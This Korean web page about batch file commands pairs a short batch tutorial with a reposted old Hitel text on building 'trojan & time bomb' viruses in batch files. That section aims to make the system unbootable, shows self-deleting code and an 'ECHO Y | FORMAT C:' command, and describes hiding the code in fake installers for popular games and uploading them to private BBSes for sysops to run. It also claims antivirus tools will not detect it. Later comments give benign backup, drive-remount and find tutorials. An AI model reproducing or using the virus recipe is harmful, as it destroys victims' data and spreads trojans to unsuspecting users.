배치파일(BAT) 명령어
♨ 카랜더 일정 :
본문
\r\n
| |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
\r\n
| |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
\r\n
\r\n
| |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
2. 배치 파일 \r\n만들기 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
\r\n | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
\r\n 도스에는 명령어를 일괄적으로 처리하기위한 \r\n배치파일이라는 것이 있습니다. 컴퓨터의 동작 상태를 살펴 보면 항상 사용자와의 상호작용에 의하여 \r\n작업이이루어진다는것을 알 수 있습니다. 도스라는 운영체제도 사용자가 명령을 입력하면 그 명령에 대해 도스가 분석하여 사용자가 원하는 실행 \r\n결과를 제공합니다. 여기서 쓰고 싶은 대로 적기만 하면 됩니다.제일 마지막행의 ^Z 는 파일의 제일 \r\n마지막 부분이라는 것을 도스에게 알려주는 코드로 < Ctrl + Z > 키 또는 F6 키를 누르면 됩니다. 그리고 엔터키를 한번더 \r\n누르면 '1 File(s) copied' 라는 메세지가 출력되는데, 이는 방금 ' copy con 파일명 ' 으로 작성된 문서파일이 성공적으로 \r\n만들어졌다는 뜻입니다.위의 문서파일은 확장자가 .BAT 로 붙었기 때문에 실행가능한 외부 명령어가 되는데, 배치파일은 명령이 기록되어 있는 \r\n순서대로 실행되기 때문에 timedate.bat 를 실행시키면 먼저 화면을 지우고 난뒤 시스템의 시간과 날짜를 설정합니다.간단한 배치파일은 \r\n'copy con 파일명' 으로 작성하는 것이 다른 프로그램의 도움없이 쉽고 빠르게 처리할 수 있습니다. 하지만 배치파일이 조금 길거나 작성중에 \r\n수시로 편집할 일이 생기는 경우에는 불가능합니다. 'copy con 파일명' 으로 파일을 작성하면 행으로 다시돌아갈 수 없을 뿐 아니라 수정이 \r\n불가능하기 때문입니다. 그러므로 배치파일을 만들 필요가 있을때는 문서 에디터를 이용하는 것이 좋습니다. | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
\r\n \r\n
| |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
3. 배치 파일 만들기 \r\n예제 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
\r\n 이 \r\n문서는 제가 옛날에 배치파일 공부할 때 하이텔 어디선가 다운받은 파일인데 누가 작성한 것인지 지금은 오래되어 기억이 나질 \r\n않습니다. 편집없이 \r\n그대로 옮깁니다. \r\n ▶ 배치파일로 바이러스 제작하기 \r\n
목적 : 침투즉시 시스템 영역 파괴로 부팅불능 \r\n @ECHO OFF DEL XXX.YYY < NUL <= 본인 스스로 해당 파일명 삭제명령, 역시 보이지않게!! 여기에 화면에 어떤 메시지를 띄울수도 있을것이다. \r\n ECHO " 이 컴퓨터는 부팅영역을 나에게 빼앗겼다!! " \r\n 아주 간단하면서 효과는 확실하다. 아래는 간단한 파일 찾기 프로그램이다. 다음 예제를 살펴보자. \r\n 예) 월 표시 프로그램 \r\n @ECHO OFF 배치파일의 장점이자 단점이기도 한것이 있다.스스로 완벽하게 작동하지 못한다는 것이다. \r\n때문에 배치를 도와줄 유틸리티가 필요하게 되었다. \r\n사실 C,PASCAL 로 바이러스를 만들어도 어셈블리어로 제작된 유틸리티가 필요한거 보면 대동소이 하지만......... 자, 이것을 실행하면 현재 시스템의 월을 표시해준다. 이것을 활용해서 "트로이&시한폭탄 1호형" 바이러스를 만들어보자. @echo off 이제 위의 둘을 합친 모습을 보자! \r\n @ECHO OFF
다른 예로, ECHO Y | FORMAT C: 라고 할수도 있다. 만약 자신이 어떤 프로그램이나 게임등에 이런 바이러스 코드를 첨가시켜 전파시키는 방법도 있다. \r\n\r\n 방법은, 유명게임이나 유명 유틸리티 등에 자신이 직접 인스톨 프로그램을 작성하여 \r\n첨가시키는 것이다. \r\n 예) 간단한 인스톨 프로그램 ( 프로그램은 C:PRPROG.ARJ 로 되어있다고 치자.) \r\n\r\n 1) 첫번째 필요한 소스 \r\n INSTALL.BAT <= 컴파일시켜 실행파일로 만들면 된다. \r\n @ECHO OFF
2) 두번째 필요한 소스 \r\n M.BAT 나 NCD.BAT <= 컴파일시켜 M.COM or NCD.COM 으로한다. \r\n\r\n @ECHO OFF 왜 NCD.COM 이나 M.COM 으로 하냐면,전에 항상 실행파일은 COM -> EXE -> BAT 순서라고 했죠?
세번째에서는 여지껏 배운 방법을 동원하여 각자 입맛에 맞게 짜기바란다. \r\n 이방법이 약간 복잡할수있다. *좀더 단순화 시켜서 XXX.DAT 를 아에 M.COM 내부에 설치할수도 있다. \r\n\r\n
이렇게 배치파일로 제작된 트로이목마 & 시한폭탄 형 바이러스는 절대로 V3 나 \r\nTB 혹은 트로이목마 검색 프로그램으로 안걸린다는걸 보장한다!! 간단한 형태로 SEX.COM 이런식으로 만들어서 즉각 반응형으로 해도 효과는 좋을것이다. 사설 비비에스 해킹이야 위의 자료를 등록한후 시삽이 실행하기만 기다리면 되는것이다. \r\n\r\n 위에 열거한 각종 테크닉을 이용한다면 강력한 트로이목마형 |
뷰PDF 1,2
office view text|top||||||||||||||||||
관련자료
-
링크
댓글목록
![profile_image](https://11q.kr:443/www/data/member_image/ss/ss1145.gif?1588261899)
11q.kr관리자님의 댓글
![](https://11q.kr:443/www/data/member/ss/ss1145.gif?1479800520)
=============== remount.exe를 가지고 현 드라브에서 입력드라이브 가 Y드라이브로 변경 하기 ============\r\n@echo off\r\nsetlocal\r\n\r\n:: str 변수 초기화\r\nset str=\r\n\r\n\r\n:REDO\r\ndir\r\nset /p str=현재의 드라브 문자 (예 l) 입력하세요:\r\nif "%str%" == "" goto REDO\r\n\r\n\r\necho 방금 입력하신 문자열은 %str% 입니다.\r\necho 마운트를 %str%: 드라브가 Y:로 변경 됩니다\r\necho 끝내려면 Ctrl + c 하세요\r\npause\r\n\r\nremount %str%: y: -s\r\ny:\r\ncd\\r\ndir\r\necho 끝내려면 아무키 입력 하세요\r\npause
![profile_image](https://11q.kr:443/www/data/member_image/ss/ss1145.gif?1588261899)
11q.kr관리자님의 댓글
![](https://11q.kr:443/www/data/member/ss/ss1145.gif?1479800520)
WIN GHOST 원도우81에서 고스트 자동 백업 후 자동종료\r\n\r\n-------기본하드 정보를 알고 있을때 자동 백업 --------------------------\r\n\r\nbooting영역이 따로 있고 c드라이브에 windows8.1 설치 상태와 e드라이브로 백업\r\n\r\n\r\n\r\n\r\n상기드라이 정보는 ghost > local/patition/to image로 하여 \r\n\r\n1:1은 부팅 영역[drive 1에 1 part]\r\n\r\n1:2는 windows 설치 영역 c드라이브[drive 1에 2 part]을 확인 하여 \r\n\r\nsrc=1:2를 선택 백업 소스 win81설치 영역을 e드라이브에 백업 하기\r\n\r\n---------------------------------------------------------------\r\n\r\nghost32 -clone,mode=pdump,src=1:2,dst=e:\backup.gho -z3 -sure\r\n\r\n----------------------------------------------------------------\r\n\r\n\r\n\r\n\r\n----- 저의 백업 정보 설정 내용 -------\r\n\r\n아래 자동 백업은 첨부 ghost파일을 압축 해제후 \r\n\r\nghost_c_e.cmd 파일을 실행하면 \r\n\r\n원도우 휴지통지우고\r\n\r\n엔터 세번 치면\r\n\r\nboot부분 백업하고\r\n\r\n엔터 세번 치면\r\n\r\nc_win81을 백업\r\n\r\n1분후 자동 off 입니다\r\n\r\n닫기를 누르면 자동off 해제 됩니다\r\n\r\n------------ ghost_c_e.cmd 를 만들어 원도우에서 자동 백업-----------------\r\n\r\nwin_clean은 Windows Update Clean Tool_ko_2013-8-19.zip을 추가 하드 정리 한 것임\r\n\r\n--------------------------------------------------------------------\r\n\r\nwin_clean\r\n\r\necho win_backup starting (Stop : Ctrl + c ..123)\r\n\r\npause\r\n\r\npause\r\n\r\npause\r\n\r\nghost32 -clone,mode=pdump,src=1:1,dst=e:\ghost\c_win81_boot.gho -z3 -sure\r\n\r\npause\r\n\r\npause\r\n\r\npause\r\n\r\nghost32 -clone,mode=pdump,src=1:2,dst=e:\ghost\c_win81_backup.gho -z3 -sure\r\n\r\nshutdown /s /f /t 60\r\n\r\npause\r\n\r\necho 종료 취소\r\n\r\n\r\nshutdown /a\r\n\r\n-------------------------------------------------\r\n저의 홈피 아래 링크 자료 참조 바랍니다\r\nhttps://11q.kr/pc/bbs/board.php?bo_table=s21&wr_id=599
![profile_image](https://11q.kr:443/www/data/member_image/ss/ss1145.gif?1588261899)
11q.kr관리자님의 댓글
![](https://11q.kr:443/www/data/member/ss/ss1145.gif?1479800520)
① 신고합니다 2014.02.11 08:59 좋은 정보 감사합니다\r\n\r\n\r\n바보고집 2014.02.11 09:41 pause 대신 timeout이나 ping 으로 delay 거는 걸 추천합니다. gpt에서 파티션이 구조를 동일한 형태로 사용하니 그렇게 만들어도 되겠군요. 파티션 정보는 윈도우에서 백업만 할꺼면 wmic에서 받아 올수 있습니다. bootconfig하고 os로...\r\n\r\n \r\n\r\n그리고 고스트는 드라입명으로 백업이 가능합니다. %systemdrive% 로 @os:%systemdrive% 하시면 윈도우백업됩니다.\r\n\r\n \r\n\r\n예약파티션은 SYSTEM이라는 레이블을 사용하기떄문에 드라이브명이 없기떄문에\r\n\r\nECHO SEL DISK %HDNO% >DRIVE.TXT\r\nECHO LIST VOL >>DRIVE.TXT\r\nDISKPART /S DRIVE.TXT >PAL.TXT\r\nfor /F "tokens=1-5* usebackq SKIP=2" %%a in (`"find /I "SYSTEM" "PAL.TXT""`) do (SET dpo=%%b\r\necho sel disk %HDNO% >SSL.TXT\r\necho sel par %%b >>SSL.TXT\r\nif "%%c" equ "SYSTEM" (echo Assign LETTER=S NOERR >>SSL.TXT)\r\necho sel disk %HDNO% >DSSL.TXT\r\necho sel par %%b >>DSSL.TXT\r\necho REMOVE NOERR >>DSSL.TXT\r\nif "%%c" equ "SYSTEM" ((SET SRDRV=S:)& (SET SRPT=YES) & (SET SRDV=@OS:S:))\r\nif "%%c" neq "SYSTEM" ((SET SRDRV=%%c:) & (SET SRDV=@OS:%%c:) & (SET SRPT=YES))\r\n)\r\n \r\n\r\nDISKPART /S SSL.TXT >DIS.TXT\r\n\r\n\r\n제가 만들어 놓은 고스트용 예약파티션 자동 검색 스크립트입니다.
![profile_image](https://11q.kr:443/www/data/member_image/ss/ss1145.gif?1588261899)
11q.kr관리자님의 댓글
![](https://11q.kr:443/www/data/member/ss/ss1145.gif?1479800520)
배치파일 명령어 모음\r\n \r\n\r\n1.DOS의 CHOICE 명령 대용으로 Y/N 선택 묻기 방법\r\n2.배치파일에서 줄 띄우기; Batch File 빈줄 넣기 방법; empty line \r\n3.CMD 콘솔 색깔 변경하는 명령어; 도스창 명령프롬프트 글자색 바꾸기; DOS Color \r\n4.영어 도스 실행 방법; 영문 DOS 사용하기; Eng \r\n5.현재 위치에서 도스창 열기, 현재 폴더에서 명령프롬프트(CMD) 실행하는 법 \r\n6.BAT 메세지 출력, 배치파일 메시지 프린트 방법; Batch File Message \r\n7.디렉터리가 비어 있지 않습니다, 라는 에러 해결 방법은? The directory is not empty \r\n8.도스 디렉토리 바꾸기 명령, DOS에서 드라이브, 폴더 이동 명령어; Change Directory 사용법 \r\n9.배치파일로 디렉토리 생성 명령어, 폴더 만들기 방법; BAT Make Directory, Folder \r\n10.[배치파일:도스/윈도우] echo 명령 사용법 / echo (에코) 란? \r\n11.윈도우에서 배치파일(Batch File) 실행하기\r\n12.PKZIP 폴더 압축 옵션, 디렉토리까지 압축하기 방법; Folder Directory \r\n13.도스창 CMD 에서 파일명 변경 방법, 파일, 폴더 이름 바꾸기 명령; Rename File \r\n14.도스에서 텍스트 파일 보기 명령어; DOS Text File Viewer \r\n15.BAT 파일 엔터 키 치는 명령은? 배치파일에서 Enter Key 로 빈줄 출력 명령어 \r\n16.Find 파일 속성, 속성으로 파일 찾기 명령어; Find File Attribute \r\n17.배치파일에서 파일 행번호, 줄번호 붙이기; Batch File, Print Line Number \r\n18.BAT 환경변수 사용 방법, 배치파일에서 환경변수; ENV \r\n19.파일에 출력하는 배치 파일 작성법; BAT으로 Text File 만들기 \r\n20.배치파일 함수 구현, BAT에서 GOSUB 문 서브루틴, 고급 BATCH 테크닉 \r\n21.배치파일 문자열 함수는? 스트링 추출 출력 방법; Batch String \r\n22.DOS 명령어 / 모든 도스 명령 목록; MS-DOS Command \r\n23.BAT 실행창, 배치파일 실행하는 창은? Batch Window \r\n24.24비트 32 bit 자동 전환, 구글어스 실행 배치파일; Google Earth BAT \r\n25.숫자 무작위 생성; 윈도우 도스창에서; DOS 랜덤 Random \r\n26.메모장으로 BAT 파일 만들기, 배치파일 작성하기; Windows Notepad Batch File \r\n27.BAK 파일 삭제 배치 파일; 백업파일 지우기 BAT \r\n28.배치파일 만들기 기초; BAT 파일 작성법 \r\n29.DOS / Windows Batch 파일의 주석 처리 방법; 주석문 Remarks \r\n30.도스 TREE 명령어 파일로 저장하기, DOS 명령 결과, 텍스트파일로 저장하는 법 \r\n31.배치파일에서 return 구현 방법; BAT 리턴 반환 C언어처럼 \r\n32.도스 DOS 명령, 파일 속성 바꾸기 명령어; File Attribute ATTRIB \r\n33.배치파일 에디터로 좋은 것은? BAT File 편집기 Editor 종류 \r\n34.chkdsk 하는 법; 체크디스크 명령으로 하드 검사 하는법 \r\n35.chkdsk /F 옵션으로, 부팅 때 하드 디스크 검사하는 배치 파일 - Batch \r\n36.모든 하드디스크(HDD)를 한꺼번에 검사하는 배치(Batch) 파일 \r\n37.다른 배치 파일로 GOTO 명령; 다른 파일 라벨로 이동 BAT \r\n38.배치파일에서 시스템경로 구하기; 패스 환경변수 Path Batch File \r\n39.배치 파일에서, 숫자 계산하기, set 명령으로 더하기 빼기; Batch File Calc \r\n40.배치파일 무한루프 구현, 루프 탈출, 빠져 나오기 예제; Batch File Infinity Loop \r\n41.파일 개수 세기 도스 명령어; File Counter DOS Command \r\n42.배치파일 BAT] 현재 년월일 시분초 구하기, 한국식 시간 문자열; YYYY-MM-DD hh:mm:ss \r\n43.현재 시간으로 된 파일명 만들기 BAT 배치 파일; Time To File Name \r\n44.XCOPY.EXE 프로그램/명령어 다운로드(Download) 받는 곳은? : 크로스 카피/엑스 카피 \r\n45.오늘 날짜로 된 디렉토리명, 폴더명 만들기 BAT 배치 파일; Date To Directory Name \r\n46.CMD 아스키 코드표 보기; 도스창에서 아스키코드(ASCII Code) 출력하는 법, 명령 \r\n47.날짜 BAT, 현재 시간 출력 배치파일; Batch File \r\n48.윈도우용 wget.exe 사용법; 명령행 다운로드 프로그램; wget Command for MS-Windows \r\n49.도스(DOS)용 RAR 로 압축하기, 파일 압축 풀기; 텍스트 모드 압축 \r\n50.도스용 윈집(WinZip) 실행 배치 파일; DOS WZZIP-WZUNZIP Batch File \r\n51.도스(DOS)에서, ZIP 파일 압축하기, 압축 풀기 프로그램, 옵션; Add Extract Zip File \r\n52.도스용 ZIP 프로그램; DOS윈집 다운로드,사용법; WinZip Command Line Support Add-On \r\n53.배치 파일 실행 결과 보기 명령어; Batch File Result View Command \r\n54.[배치 파일] 여러 파일 이름 한꺼번에 바꾸기; 파일명 일괄 변경; Batch File Rename \r\n55.배치 파일 안에서, EXE 파일 실행 법; Batch File에서 실행파일 호출 \r\n56.CMD 확장자 파일 만들기, CMD.EXE로, 파일(File) 만들기/저장(Save)하기\r\n57.[QnA] 2개 이상의 도스 명령어를 한꺼번에 실행하는 법은? \r\n58.배치 파일에서, PC스피커로, 비프음(Beep; 삑 하는 소리) 내기 \r\n59.배치 파일의 옵션을 해석하여 조건문 만들기 예제: 도움말(Help) 옵션 넣기 \r\n60.도스(DOS, CMD)창, 영문 Code Page (코드 페이지)로 변경하는 명령어: CHCP \r\n61.RAR 도스 창(DOS)/명령프롬프트/텍스트 모드; WinRAR(윈라) 콘솔 버전; RAR.EXE \r\n62.엔터 키/줄바꿈/개행문자 넣기; Batch File Enter Key \r\n63.도스(DOS)에서, Program Files 폴더 지정/입력하는 법은? \r\n64.[윈도우] 시스템 파일 복사하는 명령어. 히든파일 카피 명령; Copy Command, System Hidden File \r\n65.도스(DOS)에서, 연월일(년월일)/시분초, 현재 날짜 구하기; get Date Time \r\n66.도스로 빠져 나가기, 윈도우에서 도스로; How To Exit To DOS \r\n67.[배치파일] 랜덤 숫자 발생, 1~10 난수 생성; Random Number Batch File \r\n68.[배치파일] 요일 출력, 오늘 현재 요일만 구하기; Get DAY OF THE WEEK String \r\n69.[배치파일] 요일 삭제, 날짜 문자열에서 요일 지우기; Remove DAY OF THE WEEK from Date String \r\n70.[배치파일/Batch File] args / argc, argv 파라미터(인수; 매개변수) 사용 방법; DOS BAT \r\n71.도스박스/도스창 전체 화면 모드 핫키; DOSBox, DOS Full-Screen Hot Key \r\n72.배치파일 텍스트 출력 방법. 글자,문자열 쓰기, 프린트 함수; Batch File Print String \r\n73.배치파일 예약어, 키워드 목록; Batch File Keyword List \r\n74.현재 디렉토리 환경변수, Current Directory (CWD) Environment Variable \r\n75.윈도우 SORT 명령, 숫자 크기순 정렬(소팅) 문제 해결, Perl(펄)로 \r\n76.환경변수 저장 하는 법; 윈도우2000 / XP 환경 변수 저장법; Set Environment Variable \r\n77.윈도우에서 파이썬(python.exe) 실행 배치파일; PYTHON.BAT \r\n78.탐색기 폴더에서, 도스창 실행 레지스트리: '여기에 명령 프롬프트' Command Line Here Registry \r\n79.[윈도우] 텍스트 파일 합치기 명령어; Text File (.TXT) 문서 병합 방법; TXT Merge DOS \r\n80.[배치파일] 윈도우 환경변수를 echo 로 출력 하는 법; PRINT Environment Variable DOS \r\n81.[배치파일] %1 %2 %3 퍼센트 일,이,삼 기호의 의미; DOS BAT Argument \r\n82.도스용 V3.EXE 실행 배치파일; 도스창에서 백신III 실행 DOS BAT \r\n83.윈도우] BAT 파일 실행 하는 법; MS-DOS 배치 파일 실행법 \r\n84.IF ELSE 문 사용법 예제; 도스 BAT 강좌 \r\n85.배치파일(.BAT) IF 조건문 사용법 기초 강좌; DOS Batch File IF \r\n86.Java/자바] 소스 컴파일 + 실행하기, 자동 배치파일(BAT) \r\n87.배치파일(.BAT)로, 파일 출력, 텍스트 파일(Text File) 만드는 방법 \r\n88.[배치파일] 옵션 문자열 얻기, 실행시 매개변수 활용 DOS-NT Batch File Option \r\n89.[배치파일] 사용자 문자열 입력받기, 입력을 변수에 저장: DOS-NT Batch File Input String \r\n90.[DOS/도스창/배치파일] 파일 복사 명령어 사용법: File Copy Command \r\n91.[도스 도스창] 텍스트 파일 읽기 명령어, 보기 명령; DOS Text File View Command \r\n92.윈도우 환경변수 복사하여 파일로 저장/만들기: Windows Environment Variable To File \r\n93.배치파일, 도스(DOS)에서 파일 삭제, 디렉토리 지우기 명령어; Delete File \r\n94.[배치 파일] 변수에 현재 시간/날짜 넣기; 날짜/시간 출력, DATE TIME DOS BATCH \r\n95.이진파일을 텍스트파일로 변환, 바이너리를 아스키로, Convert Binary File to Text File \r\n96.도스/도스창(cmd.exe)용 실행파일/명령어 만드는, 언어/프로그램은? Creating New Commands \r\n97.반복되는 명령 실행: 윈도우 도스창 / 리눅스 - Repeat Commands \r\n98.하위 디렉토리까지 복사, Copy 디렉토리: XCOPY, DOS 배치 파일 \r\n99.파일 찾기 명령, 도스창에서 디렉토리 찾기, File Find Command \r\n100.경로(Path) 알아내기/ 패스 문자열 얻어 오기: DOS 배치 파일 \r\n101.현재 폴더, 현재 디렉토리 의미하는 특수 문자] DOS Batch File, Current Directory \r\n102.도스 화면에, 글자 출력(프린트) 명령어는? - DOS Bat Print String \r\n103.FOR문으로, 텍스트 파일 행 처리 - 도스 DOS Bat File 강좌 \r\n104.FOR 문 예제. for in do 사용법 - 도스 DOS Bat File 강좌 \r\n105.도스창 닫기 명령 / 명령프롬프트창 종료 명령어 - .BAT DOS Batch File \r\n106.윈도우 도스창에서 정규식 사용법 - Windows XP regex FINDSTR \r\n107.SORT 명령 사용법, 문자열/텍스트파일 정렬(소팅)하기 - Windows XP \r\n108.배치파일] 탈출코드(에러레벨;반환값) 강제로 설정하기 - ERRORLEVEL, Exit Code, Batch File \r\n109.[QnA] 도스창에서, 파일 이름의 빈 칸은 어떻게 입력합니까? - LFN, Long File Name \r\n110.도스창 실행 / 도스 프롬프트 있는 곳 - Windows DOS Prompt \r\n111.BAT파일 안에서, 다른 BAT파일 실행/호출 - Batch File - 일괄 파일 \r\n112.기존의 패스(Path) 환경변수에, 새 경로(디렉토리; 폴더) 추가하는 법 \r\n113.도스창(명령프롬프트창) 제목줄(타이틀) 변경하는 도스 명령 - TITLE \r\n114.배치파일에서, 문자열 비교 판단 / 문자열이 동일한지 다른지 - Compare Strings in Batch File \r\n115.도스(DOS) 배치파일 명령어 목록 \r\n116.도스 화면, 잠시 정지시키는 키는? 도스창 스크롤 일시 중지시키는 키는? - DOS Pause Break Key \r\n117.디스크 라벨(볼륨 레이블) 변경하는 법 - LABEL - VOL \r\n118.'환경변수'란 무엇인가요? 환경변수 변경/추가/삭제하는 법은? - Environment Variable \r\n119.화면 출력 일시 정지시키는 명령어는? 도스창(윈도우 명령프롬프트)/배치파일에서 - pause \r\n120.화면 글자 모두 지우는 명령어는? 도스창(윈도 명령프롬프트)/배치파일에서 - cls \r\n121.도스 명령에서, 백슬래쉬(\, ₩)와 슬래쉬(/) 차이점은? - 리눅스에서는? - Back Slash [QnA] \r\n122.[grep.exe] 유닉스/리눅스의 grep 을 윈도우에서 사용하기: 문자열 찾기 \r\n123.도스창 한글/영문으로 변경 방법: 명령 프롬프트 코드 페이지 전환 - CHCP, Code Page \r\n124.배치 파일에서의 변수 사용 [배치 파일 작성법] - DOS Batch Variable \r\n125.배치파일 종료시 변수 자동으로 지우기, 변수 충돌 방지, 변수 지역화: SETLOCAL / ENDLOCAL \r\n126.[배치 파일] 윈도의 .cmd 확장자를 가진 파일에 대해 \r\n127.[배치 파일 팁] echo문 행갈이 / 빈 줄 넣기/ 한 줄 띄어쓰기: Batch File Tip \r\n128.[윈도우2000/XP] 탭(Tab)키로, 파일명 자동완성 - 명령 프롬프트 - File/Directory Name Auto-Completion \r\n129.[배치 파일] '컴퓨터 이름' 알아내기 / 출력하기: Get Computer Name \r\n130.윈도우 XP에서, 도스로 가려면? 도스창이 있는 곳은? [QnA] \r\n131.[윈도우용 grep] find 보다 더 강력한 findstr 명령 \r\n132.[윈도우] 공백이 들어간 폴더명/파일명의 파일 실행하기 - Windows \r\n133.배치 파일(Batch File), 주석문/주석 처리 방법; 코멘트,설명 문 달기; Comment \r\n134.[배치 파일] 프로그램 실행의 성공 여부를 Error Level 로 확인/판단하기: ERRORLEVEL \r\n135.[리눅스/Cygwin] 프로그램 실행이 안돼요. 배치 파일(Batch File) 실행법은? \r\n136.[QnA] 도스창이 그냥 닫혀 버립니다. 안 닫히게 하는 법은? pause 명령으로, 화면 정시키기 \r\n137.도스창 화면 저장 / 명령프롬프트(콘솔 창) 결과를 파일로 저장하는 방법 \r\n138.command.com / cmd.exe 에 내장되어 있지 않아 별도의 파일이 있어야 실행되는 명령어는? \r\n139.[배치파일 강좌] 배치파일 만드는 법 / .BAT 파일; 일괄 파일(Batch File)이란? \r\n140.[배치파일 강좌] GOTO 명령 / 라벨(레이블; Label)에 대해서 \r\n141.윈도우 도스창에서의, 파일 비교 명령은? ; 텍스트 파일 / 이진 파일 비교 \r\n142.도스(DOS) 환경변수 보기 [컴퓨터 초보자를 위한 강좌] \r\n143.echo 명령에서, 쌍따옴표, 꺾은 괄호(부등호) 등 특수문자 표현하기 \r\n144.배치 파일 (Batch File) 실행시에, 인수(파라미터; 옵션; 매개변수) 주기 \r\n145.도스(DOS)/윈도우의, 배치 파일에서 echo off 란? \r\n146.모든 '도스 명령' 목록 보기, 윈도우2000 윈도우XP 에서 \r\n147.자신의 IP주소(아이피 주소; IP Address) 손쉽게 알아보기 \r\n =======\r\n출처\r\nhttp://user.chollian.net/~pd007/readme/int/batch.htm
![profile_image](https://11q.kr:443/www/data/member_image/ss/ss1145.gif?1588261899)
11q.kr관리자님의 댓글
![](https://11q.kr:443/www/data/member/ss/ss1145.gif?1479800520)
FIND 명령어 사용법\r\n 2014/02/26 22:44 \r\n\r\n\r\nPosted in 개발/Linux by yaku\r\n\r\n\r\n\r\n \r\nFONT \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n파일명 찾기 \r\n # find / -name 파일명 -type f\r\n\r\n \r\n\r\n파일명 찾기(대소문자 구별없음) \r\n # find / -iname 파일명 -type f\r\n\r\n \r\n\r\n디렉토리 찾기 \r\n # find / -name 파일명 -type d\r\n\r\n \r\n\r\n디렉토리 찾기(대소문자 구별없음) \r\n # find / -iname 파일명 -type d\r\n\r\n \r\n\r\n \r\n\r\n1. 루트 디렉토리부터 확장자가 txt인 파일을 찾아서 화면에 파일 이름 출력\r\n\r\n # find / -name *.txt\r\n\r\n \r\n\r\n2. 위의 명령에서 현재 디렉토리와 한 단계 아래의 디렉토리에서만 파일을 찾을 경우\r\n\r\n # find . -maxdepth 2 -name *.txt\r\n\r\n \r\n\r\n \r\n\r\n----------------------------------------------------------------------------------------\r\n\r\n \r\n\r\n팁] find + xargs + ls 명령어 몇가지 활용\r\n\r\n작성자 : 김칠봉 \r\n작성일 : 2001.03.12\r\n\r\n목차 \r\n1. 가장 일반적인 find 명령어\r\n\r\n2. find 명령어 일반적인 옵션 \r\n2-1. 사용법 개요 \r\n2-2. 일반적으로 표현식 옵션 구분 \r\n3-3. 자주 사용되는 표현식 옵션 \r\n3-4. path(find 명령어 다음의 path) \r\n3-5. 표현식-연산자\r\n\r\n3. 예제 \r\n3-1. 다른 명령어와 결합형태(ls,xargs) \r\n3-2. 퍼미션 관련 예제 \r\n3-3. 유저와 관련된 예제 \r\n3-4. 팁 \r\n- 최근 하루(1) 동안(-)에 변경(change)된 파일을 찾을려면(-ctime)? \r\n- 오래된 파일을 찾을려면(30일 이상 수정(modify))되지 않은)? \r\n- 최근 30일(30) 안에(-) 접근(access)하지 않은 파일과 디렉토리를 리스트로 만들려면(-atime)? \r\n- 자신의 홈디렉토리에서 만 검색하려면? \r\n- 서브 디렉토리로 내려가지 않고 현재 디렉토리에서만 검색하려면? \r\n- 특정 유저(foobar) 소유의 파일을 찾을려면? \r\n- 퍼미션이 777인 파일을 찾을려면 ? \r\n- others에게 쓰기 권한이 있는 파일을 찾을려면? \r\n- others에게 쓰기 권한이 있는 파일을 찾아 쓰기 권한을 없애려면? \r\n- 유저이름과 그룹이름이 없는 파일을 찾을려면? \r\n- 빈 파일을 찾을려면? \r\n- 파일크기가 100M 이상된 파일을 찾을려면? \r\n- *.bak 파일을 찾아 지울려면? \r\n- *.bak 파일을 찾아 특정 디렉토리로 옮길려면? \r\n- 디렉토리 만 찾을려면? \r\n- root권한으로 실행되는 파일을 찾을려면? \r\n- 다른 파일시스템을 검색하지 않을려면? \r\n- 파일이름에 공백이 들어간 파일을 찾을려면? \r\n- 숨겨진(hidden) 파일을 찾을려면? \r\n- 같은 이름을 가진 디렉토리를 찾을려면? \r\n- 잘못된 링크를 찾을려면?\r\n\r\n4. find 명령어에 대해서 좀더 알아보려면?\r\n\r\n------------------------------------------------------------\r\n\r\n1. 가장 일반적인 find 명령어\r\n\r\n# find /path -name "foobar" -print\r\n\r\n제일 먼저(?) 배우는 형식이 아닌가 쉽군요.\r\n\r\n\r\n2. find 명령어 일반적인 옵션\r\n\r\n2-1. 사용법 개요\r\n\r\nfind 명령어 사용법 보기 :\r\n\r\n# find --help \r\n# man find (직접 입력해 보세요. 내용이 너무 많아서..)\r\n\r\n사용법 : find [path...] [expression] \r\n기본값 : default path는 현재 디렉토리; default expression은 -print\r\n\r\n표현식(expression) 구성 : \r\noperators (decreasing precedence; -and is implicit where no others are given): \r\n( EXPR ) ! EXPR -not EXPR EXPR1 -a EXPR2 EXPR1 -and EXPR2 \r\nEXPR1 -o EXPR2 EXPR1 -or EXPR2 EXPR1 , EXPR2 \r\noptions (always true): -daystart -depth -follow --help \r\n-maxdepth LEVELS -mindepth LEVELS -mount -noleaf --version -xdev \r\ntests (N can be +N or -N or N): \r\n-amin N -anewer FILE -atime N -cmin N \r\n-cnewer FILE -ctime N -empty -false -fstype TYPE -gid N -group NAME \r\n-ilname PATTERN -iname PATTERN -inum N -ipath PATTERN -iregex PATTERN \r\n-links N -lname PATTERN -mmin N -mtime N -name PATTERN -newer FILE \r\n-nouser -nogroup -path PATTERN -perm [+-]MODE -regex PATTERN \r\n-size N[bckw] -true -type [bcdpfls] -uid N -used N -user NAME \r\n-xtype [bcdpfls] \r\nactions: \r\n-exec COMMAND ; -fprint FILE -fprint0 FILE -fprintf FILE FORMAT \r\n-ok COMMAND ; -print -print0 -printf FORMAT -prune -ls\r\n\r\n간단하게 몇가지만 알아보죠... \r\n(자세한 사용설명은 꼭 man 페이지를 읽어보세요....한글은 없군요..T.T)\r\n\r\n\r\n2-2. 일반적으로 표현식 옵션 구분\r\n\r\n-a'xxxx' \r\n'xxxx'에 대한 Access(접근) \r\n-c'xxxx' \r\n'xxxx'에 대한 Changes(변경), 마지막으로 Access한 경우 